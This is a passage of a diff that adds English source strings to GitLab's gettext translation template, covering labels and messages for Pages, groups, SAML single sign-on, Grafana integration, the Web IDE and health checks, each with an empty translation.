+msgid "GitHub API rate limit exceeded. Try again after %{reset_time}"
+msgstr ""
+
+msgid "GitHub import"
+msgstr ""
+
+msgid "GitLab / Unsubscribe"
+msgstr ""
+
+msgid "GitLab Enterprise Edition %{plan}"
+msgstr ""
+
+msgid "GitLab Group Runners can execute code for all the projects in this group."
+msgstr ""
+
+msgid "GitLab Import"
+msgstr ""
+
+msgid "GitLab Issue"
+msgstr ""
+
+msgid "GitLab Service Desk is a simple way to allow people to create issues in your GitLab instance without needing their own user account. It provides a unique email address for end users to create issues in a project, and replies can be sent either through the GitLab interface or by email. End users will only see the thread through email."
+msgstr ""
+
+msgid "GitLab Shared Runners execute code of different projects on the same Runner unless you configure GitLab Runner Autoscale with MaxBuilds 1 (which it is on GitLab.com)."
+msgstr ""
+
+msgid "GitLab Support Bot"
+msgstr ""
+
+msgid "GitLab Team Member"
+msgstr ""
+
+msgid "GitLab User"
+msgstr ""
+
+msgid "GitLab allows you to continue using your license even if you exceed the number of seats you purchased. You will be required to pay for these seats when you renew your license."
+msgstr ""
+
+msgid "GitLab commit"
+msgstr ""
+
+msgid "GitLab export"
+msgstr ""
+
+msgid "GitLab for Slack"
+msgstr ""
+
+msgid "GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security."
+msgstr ""
+
+msgid "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later."
+msgstr ""
+
+msgid "GitLab is undergoing maintenance and is operating in a read-only mode."
+msgstr ""
+
+msgid "GitLab member or Email address"
+msgstr ""
+
+msgid "GitLab metadata URL"
+msgstr ""
+
+msgid "GitLab project export"
+msgstr ""
+
+msgid "GitLab restart is required to apply changes."
+msgstr ""
+
+msgid "GitLab single sign-on URL"
+msgstr ""
+
+msgid "GitLab username"
+msgstr ""
+
+msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
+msgstr ""
+
+msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
+msgstr ""
+
+msgid "GitLab.com"
+msgstr ""
+
+msgid "GitLab.com import"
+msgstr ""
+
+msgid "GitLabPagesDomains|Retry"
+msgstr ""
+
+msgid "GitLabPages|%{domain} is not verified. To learn how to verify ownership, visit your %{link_start}domain details%{link_end}."
+msgstr ""
+
+msgid "GitLabPages|Access Control is enabled for this Pages website; only authorized users will be able to access it. To make your website publicly available, navigate to your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} and select %{strong_start}Everyone%{strong_end} in pages section. Read the %{link_start}documentation%{link_end} for more information."
+msgstr ""
+
+msgid "GitLabPages|Access pages"
+msgstr ""
+
+msgid "GitLabPages|Are you sure?"
+msgstr ""
+
+msgid "GitLabPages|Certificate: %{subject}"
+msgstr ""
+
+msgid "GitLabPages|Configure pages"
+msgstr ""
+
+msgid "GitLabPages|Domains"
+msgstr ""
+
+msgid "GitLabPages|Edit"
+msgstr ""
+
+msgid "GitLabPages|Expired"
+msgstr ""
+
+msgid "GitLabPages|Force HTTPS (requires valid certificates)"
+msgstr ""
+
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
+
+msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
+msgstr ""
+
+msgid "GitLabPages|Learn how to upload your static site and have it served by GitLab by following the %{link_start}documentation on GitLab Pages%{link_end}."
+msgstr ""
+
+msgid "GitLabPages|Learn more."
+msgstr ""
+
+msgid "GitLabPages|Maximum size of pages (MB)"
+msgstr ""
+
+msgid "GitLabPages|New Domain"
+msgstr ""
+
+msgid "GitLabPages|Only project maintainers can remove pages"
+msgstr ""
+
+msgid "GitLabPages|Pages"
+msgstr ""
+
+msgid "GitLabPages|Remove"
+msgstr ""
+
+msgid "GitLabPages|Remove pages"
+msgstr ""
+
+msgid "GitLabPages|Removing pages will prevent them from being exposed to the outside world."
+msgstr ""
+
+msgid "GitLabPages|Save"
+msgstr ""
+
+msgid "GitLabPages|Something went wrong while obtaining the Let's Encrypt certificate for %{domain}. To retry visit your %{link_start}domain details%{link_end}."
+msgstr ""
+
+msgid "GitLabPages|Support for domains and certificates is disabled. Ask your system's administrator to enable it."
+msgstr ""
+
+msgid "GitLabPages|The total size of deployed static content will be limited to this size. 0 for unlimited. Leave empty to inherit the global value."
+msgstr ""
+
+msgid "GitLabPages|Unverified"
+msgstr ""
+
+msgid "GitLabPages|Verified"
+msgstr ""
+
+msgid "GitLabPages|When using Pages under the general domain of a GitLab instance (%{pages_host}), you cannot use HTTPS with sub-subdomains. This means that if your username/groupname contains a dot it will not work. This is a limitation of the HTTP Over TLS protocol. HTTP pages will continue to work provided you don't redirect HTTP to HTTPS."
+msgstr ""
+
+msgid "GitLabPages|With GitLab Pages you can host your static websites on GitLab. Combined with the power of GitLab CI and the help of GitLab Runner you can deploy static pages for your individual projects, your user or your group."
+msgstr ""
+
+msgid "GitLabPages|Your pages are served under:"
+msgstr ""
+
+msgid "Gitaly"
+msgstr ""
+
+msgid "Gitaly Servers"
+msgstr ""
+
+msgid "Gitaly relative path:"
+msgstr ""
+
+msgid "Gitaly storage name:"
+msgstr ""
+
+msgid "Gitaly|Address"
+msgstr ""
+
+msgid "Gitea Host URL"
+msgstr ""
+
+msgid "Gitea Import"
+msgstr ""
+
+msgid "Gitlab Pages"
+msgstr ""
+
+msgid "Given access %{time_ago}"
+msgstr ""
+
+msgid "Given epic is already related to this epic."
+msgstr ""
+
+msgid "Global Shortcuts"
+msgstr ""
+
+msgid "Global notification settings"
+msgstr ""
+
+msgid "Go Back"
+msgstr ""
+
+msgid "Go Micro is a framework for micro service development."
+msgstr ""
+
+msgid "Go back"
+msgstr ""
+
+msgid "Go back (while searching for files)"
+msgstr ""
+
+msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgstr ""
+
+msgid "Go full screen"
+msgstr ""
+
+msgid "Go to %{link_to_google_takeout}."
+msgstr ""
+
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
+msgstr ""
+
+msgid "Go to Webhooks"
+msgstr ""
+
+msgid "Go to commits"
+msgstr ""
+
+msgid "Go to definition"
+msgstr ""
+
+msgid "Go to environments"
+msgstr ""
+
+msgid "Go to epic"
+msgstr ""
+
+msgid "Go to file"
+msgstr ""
+
+msgid "Go to file permalink (while viewing a file)"
+msgstr ""
+
+msgid "Go to files"
+msgstr ""
+
+msgid "Go to find file"
+msgstr ""
+
+msgid "Go to fork"
+msgstr ""
+
+msgid "Go to issue boards"
+msgstr ""
+
+msgid "Go to issues"
+msgstr ""
+
+msgid "Go to jobs"
+msgstr ""
+
+msgid "Go to kubernetes"
+msgstr ""
+
+msgid "Go to merge requests"
+msgstr ""
+
+msgid "Go to metrics"
+msgstr ""
+
+msgid "Go to parent"
+msgstr ""
+
+msgid "Go to project"
+msgstr ""
+
+msgid "Go to releases"
+msgstr ""
+
+msgid "Go to repository charts"
+msgstr ""
+
+msgid "Go to repository graph"
+msgstr ""
+
+msgid "Go to snippets"
+msgstr ""
+
+msgid "Go to the activity feed"
+msgstr ""
+
+msgid "Go to the milestone list"
+msgstr ""
+
+msgid "Go to the project's activity feed"
+msgstr ""
+
+msgid "Go to the project's overview page"
+msgstr ""
+
+msgid "Go to wiki"
+msgstr ""
+
+msgid "Go to your To-Do list"
+msgstr ""
+
+msgid "Go to your fork"
+msgstr ""
+
+msgid "Go to your groups"
+msgstr ""
+
+msgid "Go to your issues"
+msgstr ""
+
+msgid "Go to your merge requests"
+msgstr ""
+
+msgid "Go to your projects"
+msgstr ""
+
+msgid "Go to your snippets"
+msgstr ""
+
+msgid "Google Cloud Platform"
+msgstr ""
+
+msgid "Google Code import"
+msgstr ""
+
+msgid "Google Takeout"
+msgstr ""
+
+msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
+msgstr ""
+
+msgid "Got it"
+msgstr ""
+
+msgid "Got it!"
+msgstr ""
+
+msgid "Grafana URL"
+msgstr ""
+
+msgid "Grafana response contains invalid json"
+msgstr ""
+
+msgid "GrafanaIntegration|API Token"
+msgstr ""
+
+msgid "GrafanaIntegration|Active"
+msgstr ""
+
+msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
+msgstr ""
+
+msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgstr ""
+
+msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
+msgstr ""
+
+msgid "GrafanaIntegration|Grafana URL"
+msgstr ""
+
+msgid "GrafanaIntegration|Grafana authentication"
+msgstr ""
+
+msgid "Grant access"
+msgstr ""
+
+msgid "Graph"
+msgstr ""
+
+msgid "Gravatar"
+msgstr ""
+
+msgid "Gravatar enabled"
+msgstr ""
+
+msgid "Group"
+msgstr ""
+
+msgid "Group %{group_name} couldn't be exported."
+msgstr ""
+
+msgid "Group %{group_name} was exported successfully."
+msgstr ""
+
+msgid "Group %{group_name} was scheduled for deletion."
+msgstr ""
+
+msgid "Group %{group_name} was successfully created."
+msgstr ""
+
+msgid "Group Audit Events"
+msgstr ""
+
+msgid "Group CI/CD settings"
+msgstr ""
+
+msgid "Group Git LFS status:"
+msgstr ""
+
+msgid "Group Hooks"
+msgstr ""
+
+msgid "Group ID"
+msgstr ""
+
+msgid "Group ID: %{group_id}"
+msgstr ""
+
+msgid "Group Owner must have signed in with SAML before enabling Group Managed Accounts"
+msgstr ""
+
+msgid "Group Runners"
+msgstr ""
+
+msgid "Group SAML must be enabled to test"
+msgstr ""
+
+msgid "Group URL"
+msgstr ""
+
+msgid "Group avatar"
+msgstr ""
+
+msgid "Group by:"
+msgstr ""
+
+msgid "Group description"
+msgstr ""
+
+msgid "Group description (optional)"
+msgstr ""
+
+msgid "Group details"
+msgstr ""
+
+msgid "Group export could not be started."
+msgstr ""
+
+msgid "Group export error"
+msgstr ""
+
+msgid "Group export link has expired. Please generate a new export from your group settings."
+msgstr ""
+
+msgid "Group export started. A download link will be sent by email and made available on this page."
+msgstr ""
+
+msgid "Group has been already marked for deletion"
+msgstr ""
+
+msgid "Group has not been marked for deletion"
+msgstr ""
+
+msgid "Group import could not be scheduled"
+msgstr ""
+
+msgid "Group info:"
+msgstr ""
+
+msgid "Group is required when cluster_type is :group"
+msgstr ""
+
+msgid "Group maintainers can register group runners in the %{link}"
+msgstr ""
+
+msgid "Group members"
+msgstr ""
+
+msgid "Group milestone"
+msgstr ""
+
+msgid "Group name"
+msgstr ""
+
+msgid "Group name (your organization)"
+msgstr ""
+
+msgid "Group overview"
+msgstr ""
+
+msgid "Group overview content"
+msgstr ""
+
+msgid "Group path is already taken. Suggestions: "
+msgstr ""
+
+msgid "Group path is available."
+msgstr ""
+
+msgid "Group pipeline minutes were successfully reset."
+msgstr ""
+
+msgid "Group project URLs are prefixed with the group namespace"
+msgstr ""
+
+msgid "Group push rule exists, try updating"
+msgstr ""
+
+msgid "Group requires separate account"
+msgstr ""
+
+msgid "Group variables (inherited)"
+msgstr ""
+
+msgid "Group was exported"
+msgstr ""
+
+msgid "Group was successfully updated."
+msgstr ""
+
+msgid "Group-level events in %{group_name} (no project-level events)"
+msgstr ""
+
+msgid "Group: %{group_name}"
+msgstr ""
+
+msgid "Group: %{name}"
+msgstr ""
+
+msgid "GroupActivityMetrics|Issues opened"
+msgstr ""
+
+msgid "GroupActivityMetrics|Members added"
+msgstr ""
+
+msgid "GroupActivityMetrics|Merge Requests opened"
+msgstr ""
+
+msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgstr ""
+
+msgid "GroupImport|Failed to import group."
+msgstr ""
+
+msgid "GroupImport|Group '%{group_name}' is being imported."
+msgstr ""
+
+msgid "GroupImport|Group could not be imported: %{errors}"
+msgstr ""
+
+msgid "GroupImport|Please wait while we import the group for you. Refresh at will."
+msgstr ""
+
+msgid "GroupImport|The group was successfully imported."
+msgstr ""
+
+msgid "GroupImport|Unable to process group import file"
+msgstr ""
+
+msgid "GroupRoadmap|%{dateWord} – No end date"
+msgstr ""
+
+msgid "GroupRoadmap|%{startDateInWords} – %{endDateInWords}"
+msgstr ""
+
+msgid "GroupRoadmap|No start and end date"
+msgstr ""
+
+msgid "GroupRoadmap|No start date – %{dateWord}"
+msgstr ""
+
+msgid "GroupRoadmap|Something went wrong while fetching epics"
+msgstr ""
+
+msgid "GroupRoadmap|Something went wrong while fetching milestones"
+msgstr ""
+
+msgid "GroupRoadmap|Sorry, no epics matched your search"
+msgstr ""
+
+msgid "GroupRoadmap|The roadmap shows the progress of your epics along a timeline"
+msgstr ""
+
+msgid "GroupRoadmap|To view the roadmap, add a start or due date to one of the %{linkStart}child epics%{linkEnd}."
+msgstr ""
+
+msgid "GroupRoadmap|To view the roadmap, add a start or due date to one of your epics in this group or its subgroups; from %{startDate} to %{endDate}."
+msgstr ""
+
+msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
+msgstr ""
+
+msgid "GroupSAML|Certificate fingerprint"
+msgstr ""
+
+msgid "GroupSAML|Configuration"
+msgstr ""
+
+msgid "GroupSAML|Copy SAML Response XML"
+msgstr ""
+
+msgid "GroupSAML|Default membership role"
+msgstr ""
+
+msgid "GroupSAML|Enable SAML authentication for this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
+msgstr ""
+
+msgid "GroupSAML|Enforced SSO"
+msgstr ""
+
+msgid "GroupSAML|Generate a SCIM token"
+msgstr ""
+
+msgid "GroupSAML|Generate a SCIM token to set up your System for Cross-Domain Identity Management."
+msgstr ""
+
+msgid "GroupSAML|Identity"
+msgstr ""
+
+msgid "GroupSAML|Identity provider single sign-on URL"
+msgstr ""
+
+msgid "GroupSAML|Make sure you save this token — you won't be able to access it again."
+msgstr ""
+
+msgid "GroupSAML|Manage your group’s membership while adding another level of security with SAML."
+msgstr ""
+
+msgid "GroupSAML|Members"
+msgstr ""
+
+msgid "GroupSAML|Members will be forwarded here when signing in to your group. Get this from your identity provider, where it can also be called \"SSO Service Location\", \"SAML Token Issuance Endpoint\", or \"SAML 2.0/W-Federation URL\"."
+msgstr ""
+
+msgid "GroupSAML|NameID"
+msgstr ""
+
+msgid "GroupSAML|NameID Format"
+msgstr ""
+
+msgid "GroupSAML|Prohibit outer forks"
+msgstr ""
+
+msgid "GroupSAML|Prohibit outer forks for this group."
+msgstr ""
+
+msgid "GroupSAML|SAML Response Output"
+msgstr ""
+
+msgid "GroupSAML|SAML Response XML"
+msgstr ""
+
+msgid "GroupSAML|SAML Single Sign On"
+msgstr ""
+
+msgid "GroupSAML|SAML Single Sign On Settings"
+msgstr ""
+
+msgid "GroupSAML|SCIM API endpoint URL"
+msgstr ""
+
+msgid "GroupSAML|SCIM Token"
+msgstr ""
+
+msgid "GroupSAML|SHA1 fingerprint of the SAML token signing certificate. Get this from your identity provider, where it can also be called \"Thumbprint\"."
+msgstr ""
+
+msgid "GroupSAML|The SCIM token is now hidden. To see the value of the token again, you need to "
+msgstr ""
+
+msgid "GroupSAML|This will be set as the access level of users added to the group."
+msgstr ""
+
+msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
+msgstr ""
+
+msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
+msgstr ""
+
+msgid "GroupSAML|To be able to prohibit outer forks, you first need to enforce dedicate group managed accounts."
+msgstr ""
+
+msgid "GroupSAML|Toggle SAML authentication"
+msgstr ""
+
+msgid "GroupSAML|Valid SAML Response"
+msgstr ""
+
+msgid "GroupSAML|With group managed accounts enabled, all the users without a group managed account will be excluded from the group."
+msgstr ""
+
+msgid "GroupSAML|With prohibit outer forks flag enabled group members will be able to fork project only inside your group."
+msgstr ""
+
+msgid "GroupSAML|Your SCIM token"
+msgstr ""
+
+msgid "GroupSAML|must match stored NameID of \"%{extern_uid}\" as we use this to identify users. If the NameID changes users will be unable to sign in."
+msgstr ""
+
+msgid "GroupSAML|should be \"persistent\""
+msgstr ""
+
+msgid "GroupSAML|should be a random persistent ID, emails are discouraged"
+msgstr ""
+
+msgid "GroupSettings|Apply integration settings to all Projects"
+msgstr ""
+
+msgid "GroupSettings|Auto DevOps pipeline was updated for the group"
+msgstr ""
+
+msgid "GroupSettings|Badges"
+msgstr ""
+
+msgid "GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}."
+msgstr ""
+
+msgid "GroupSettings|Cannot update the path because there are projects under this group that contain Docker images in their Container Registry. Please remove the images from your projects first and try again."
+msgstr ""
+
+msgid "GroupSettings|Change group URL"
+msgstr ""
+
+msgid "GroupSettings|Changing group URL can have unintended side effects."
+msgstr ""
+
+msgid "GroupSettings|Custom project templates"
+msgstr ""
+
+msgid "GroupSettings|Customize your group badges."
+msgstr ""
+
+msgid "GroupSettings|Default to Auto DevOps pipeline for all projects within this group"
+msgstr ""
+
+msgid "GroupSettings|Disable email notifications"
+msgstr ""
+
+msgid "GroupSettings|Disable group mentions"
+msgstr ""
+
+msgid "GroupSettings|Enable delayed project removal"
+msgstr ""
+
+msgid "GroupSettings|Export group"
+msgstr ""
+
+msgid "GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility."
+msgstr ""
+
+msgid "GroupSettings|Integrations configured here will automatically apply to all projects in this group."
+msgstr ""
+
+msgid "GroupSettings|Learn more about badges."
+msgstr ""
+
+msgid "GroupSettings|Learn more about group-level project templates."
+msgstr ""
+
+msgid "GroupSettings|New runners registration token has been generated!"
+msgstr ""
+
+msgid "GroupSettings|Pipeline settings was updated for the group"
+msgstr ""
+
+msgid "GroupSettings|Please choose a group URL with no special characters."
+msgstr ""
+
+msgid "GroupSettings|Prevent forking outside of the group"
+msgstr ""
+
+msgid "GroupSettings|Prevent forking setting was not saved"
+msgstr ""
+
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgstr ""
+
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
+msgstr ""
+
+msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
+msgstr ""
+
+msgid "GroupSettings|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgstr ""
+
+msgid "GroupSettings|There was a problem updating Auto DevOps pipeline: %{error_messages}."
+msgstr ""
+
+msgid "GroupSettings|There was a problem updating the pipeline settings: %{error_messages}."
+msgstr ""
+
+msgid "GroupSettings|This setting is applied on %{ancestor_group} and has been overridden on this subgroup."
+msgstr ""
+
+msgid "GroupSettings|This setting is applied on %{ancestor_group}. To share projects in this group with another group, ask the owner to override the setting or %{remove_ancestor_share_with_group_lock}."
+msgstr ""
+
+msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
+msgstr ""
+
+msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
+msgstr ""
+
+msgid "GroupSettings|This setting will override user notification preferences for all members of the group, subgroups, and projects."
+msgstr ""
+
+msgid "GroupSettings|This setting will prevent group members from being notified if the group is mentioned."
+msgstr ""
+
+msgid "GroupSettings|This setting will prevent group members from forking projects outside of the group."
+msgstr ""
+
+msgid "GroupSettings|Transfer group"
+msgstr ""
+
+msgid "GroupSettings|You can only transfer the group to a group you manage."
+msgstr ""
+
+msgid "GroupSettings|You will need to update your local repositories to point to the new location."
+msgstr ""
+
+msgid "GroupSettings|cannot be changed by you"
+msgstr ""
+
+msgid "GroupSettings|cannot be disabled when the parent group \"Share with group lock\" is enabled, except by the owner of the parent group"
+msgstr ""
+
+msgid "GroupSettings|cannot change when group contains projects with NPM packages"
+msgstr ""
+
+msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
+msgstr ""
+
+msgid "Groups"
+msgstr ""
+
+msgid "Groups (%{count})"
+msgstr ""
+
+msgid "Groups (%{groups})"
+msgstr ""
+
+msgid "Groups and projects"
+msgstr ""
+
+msgid "Groups and subgroups"
+msgstr ""
+
+msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
+msgstr ""
+
+msgid "Groups to synchronize"
+msgstr ""
+
+msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
+msgstr ""
+
+msgid "Groups with access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "GroupsDropdown|Frequently visited"
+msgstr ""
+
+msgid "GroupsDropdown|Groups you visit often will appear here"
+msgstr ""
+
+msgid "GroupsDropdown|Loading groups"
+msgstr ""
+
+msgid "GroupsDropdown|Search your groups"
+msgstr ""
+
+msgid "GroupsDropdown|Something went wrong on our end."
+msgstr ""
+
+msgid "GroupsDropdown|Sorry, no groups matched your search"
+msgstr ""
+
+msgid "GroupsDropdown|This feature requires browser localStorage support"
+msgstr ""
+
+msgid "GroupsEmptyState|A group is a collection of several projects."
+msgstr ""
+
+msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
+msgstr ""
+
+msgid "GroupsEmptyState|No groups found"
+msgstr ""
+
+msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
+msgstr ""
+
+msgid "GroupsNew|Contact an administrator to enable options for importing your group."
+msgstr ""
+
+msgid "GroupsNew|Create"
+msgstr ""
+
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|GitLab group export"
+msgstr ""
+
+msgid "GroupsNew|Import"
+msgstr ""
+
+msgid "GroupsNew|Import group"
+msgstr ""
+
+msgid "GroupsNew|My Awesome Group"
+msgstr ""
+
+msgid "GroupsNew|No import options available"
+msgstr ""
+
+msgid "GroupsNew|To copy a GitLab group between installations, navigate to the group settings page for the original installation, generate an export file, and upload it here."
+msgstr ""
+
+msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
+msgstr ""
+
+msgid "GroupsTree|Create a project in this group."
+msgstr ""
+
+msgid "GroupsTree|Create a subgroup in this group."
+msgstr ""
+
+msgid "GroupsTree|Edit group"
+msgstr ""
+
+msgid "GroupsTree|Failed to leave the group. Please make sure you are not the only owner."
+msgstr ""
+
+msgid "GroupsTree|Leave this group"
+msgstr ""
+
+msgid "GroupsTree|Loading groups"
+msgstr ""
+
+msgid "GroupsTree|No groups matched your search"
+msgstr ""
+
+msgid "GroupsTree|No groups or projects matched your search"
+msgstr ""
+
+msgid "GroupsTree|Search by name"
+msgstr ""
+
+msgid "Guideline"
+msgstr ""
+
+msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
+msgstr ""
+
+msgid "Hashed Storage must be enabled to use Geo"
+msgstr ""
+
+msgid "Hashed repository storage paths"
+msgstr ""
+
+msgid "Hashed storage can't be disabled anymore for new projects"
+msgstr ""
+
+msgid "Have your users email"
+msgstr ""
+
+msgid "Header logo was successfully removed."
+msgstr ""
+
+msgid "Header message"
+msgstr ""
+
+msgid "Headings"
+msgstr ""
+
+msgid "Health"
+msgstr ""
+
+msgid "Health Check"
+msgstr ""
+
+msgid "Health information can be retrieved from the following endpoints. More information is available"
+msgstr ""
+
+msgid "Health status"
+msgstr ""
+
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
+msgid "HealthCheck|Access token is"
+msgstr ""
+
+msgid "HealthCheck|Healthy"
+msgstr ""
+
+msgid "HealthCheck|No Health Problems Detected"
+msgstr ""
+
+msgid "HealthCheck|Unhealthy"
+msgstr ""
+
+msgid "Hello there"
+msgstr ""
+
+msgid "Hello, %{username}!"
+msgstr ""
+
+msgid "Help"
+msgstr ""
+
+msgid "Help page"
+msgstr ""
+
+msgid "Help page text and support page url."
+msgstr ""
+
+msgid "Helps prevent bots from brute-force attacks."
+msgstr ""
+
+msgid "Helps prevent bots from creating accounts."
+msgstr ""
+
+msgid "Helps reduce alert volume (e.g. if creating too many issues)"
+msgstr ""
+
+msgid "Helps reduce request volume for protected paths"
+msgstr ""
+
+msgid "Here are all your projects in your group, including the one you just created. To start, let’s take a look at your personalized learning project which will help you learn about GitLab at your own pace."
+msgstr ""
+
+msgid "Here you will find recent merge request activity"
+msgstr ""
+
+msgid "Hi %{username}!"
+msgstr ""
+
+msgid "Hide archived projects"
+msgstr ""
+
+msgid "Hide chart"
+msgid_plural "Hide charts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Hide details"
+msgstr ""
+
+msgid "Hide file browser"
+msgstr ""
+
+msgid "Hide group projects"
+msgstr ""
+
+msgid "Hide host keys manual input"
+msgstr ""
+
+msgid "Hide list"
+msgstr ""
+
+msgid "Hide marketing-related entries from help"
+msgstr ""
+
+msgid "Hide payload"
+msgstr ""
+
+msgid "Hide shared projects"
+msgstr ""
+
+msgid "Hide stage"
+msgstr ""
+
+msgid "Hide value"
+msgid_plural "Hide values"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Hide values"
+msgstr ""
+
+msgid "High or unknown vulnerabilities present"
+msgstr ""
+
+msgid "Highest number of requests per minute for each raw path, default to 300. To disable throttling set to 0."
+msgstr ""
+
+msgid "Highest role:"
+msgstr ""
+
+msgid "History"
+msgstr ""
+
+msgid "History of authentications"
+msgstr ""
+
+msgid "Homepage"
+msgstr ""
+
+msgid "Hook execution failed. Ensure the group has a project with commits."
+msgstr ""
+
+msgid "Hook was successfully created."
+msgstr ""
+
+msgid "Hook was successfully updated."
+msgstr ""
+
+msgid "Hostname"
+msgstr ""
+
+msgid "Hour (UTC)"
+msgstr ""
+
+msgid "Housekeeping"
+msgstr ""
+
+msgid "Housekeeping successfully started"
+msgstr ""
+
+msgid "Housekeeping, export, path, transfer, remove, archive."
+msgstr ""
+
+msgid "How it works"
+msgstr ""
+
+msgid "How many days need to pass between marking entity for deletion and actual removing it."
+msgstr ""
+
+msgid "How many replicas each Elasticsearch shard has."
+msgstr ""
+
+msgid "How many shards to split the Elasticsearch index over."
+msgstr ""
+
+msgid "How many users will be evaluating the trial?"
+msgstr ""
+
+msgid "How to upgrade"
+msgstr ""
+
+msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
+msgstr ""
+
+msgid "I accept the %{terms_link_start}Terms of Service and Privacy Policy%{terms_link_end}"
+msgstr ""
+
+msgid "I accept the %{terms_link}"
+msgstr ""
+
+msgid "I accept the|Terms of Service and Privacy Policy"
+msgstr ""
+
+msgid "I forgot my password"
+msgstr ""
+
+msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
+msgstr ""
+
+msgid "I'd like to receive updates via email about GitLab"
+msgstr ""
+
+msgid "ID"
+msgstr ""
+
+msgid "ID:"
+msgstr ""
+
+msgid "IDE"
+msgstr ""
+
+msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
+msgstr ""
+
+msgid "IDE|Back"
+msgstr ""
+
+msgid "IDE|Commit"
+msgstr ""
+
+msgid "IDE|Commit to %{branchName} branch"
+msgstr ""
+
+msgid "IDE|Edit"
+msgstr ""
+
+msgid "IDE|Get started with Live Preview"
+msgstr ""
+
+msgid "IDE|Go to project"
+msgstr ""
+
+msgid "IDE|Live Preview"
+msgstr ""
+
+msgid "IDE|Preview your web application using Web IDE client-side evaluation."
+msgstr ""
+
+msgid "IDE|Refresh preview"
+msgstr ""
+
+msgid "IDE|Review"
+msgstr ""
+
+msgid "IDE|Successful commit"
+msgstr ""
+
+msgid "IDE|This option is disabled because you are not allowed to create merge requests in this project."
+msgstr ""
+
+msgid "IDE|This option is disabled because you don't have write permissions for the current branch."
+msgstr ""
+
+msgid "INFO: Your SSH key has expired. Please generate a new key."
+msgstr ""
+
+msgid "INFO: Your SSH key is expiring soon. Please generate a new key."
+msgstr ""
+
+msgid "IP Address"
+msgstr ""
+
+msgid "IP subnet restriction only allowed for top-level groups"
+msgstr ""
+
+msgid "Identifier"
+msgstr ""
+
+msgid "Identifiers"
+msgstr ""
+
+msgid "Identities"
+msgstr ""
+
+msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgstr ""
+
+msgid "If any job surpasses this timeout threshold, it will be marked as failed. Human readable time input language is accepted like \"1 hour\". Values without specification represent seconds."
+msgstr ""
+
+msgid "If blank, set allowable lifetime to %{instance_level_policy_in_words}, as defined by the instance admin. Once set, existing tokens for users in this group may be revoked."
+msgstr ""
+
+msgid "If checked, group owners can manage LDAP group links and LDAP member overrides"
+msgstr ""
+
+msgid "If checked, new group memberships and permissions can only be added via LDAP synchronization"
+msgstr ""
+
+msgid "If disabled, a diverged local branch will not be automatically updated with commits from its remote counterpart, to prevent local data loss. If the default branch (%{default_branch}) has diverged and cannot be updated, mirroring will fail. Other diverged branches are silently ignored."
+msgstr ""
+
+msgid "If disabled, only admins will be able to configure repository mirroring."
+msgstr ""
+
+msgid "If disabled, the access level will depend on the user's permissions in the project."
+msgstr ""
+
+msgid "If enabled"
+msgstr ""
+
+msgid "If enabled, GitLab will handle Object Storage replication using Geo. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "If enabled, access to projects will be validated on an external service using their classification label."
+msgstr ""
+
+msgid "If there is no previous license or if the previous license has expired, some GitLab functionality will be blocked until a new, valid license is uploaded."
+msgstr ""
+
+msgid "If this was a mistake you can %{leave_link_start}leave the %{source_type}%{link_end}."
+msgstr ""
+
+msgid "If this was a mistake you can leave the %{source_type}."
+msgstr ""
+
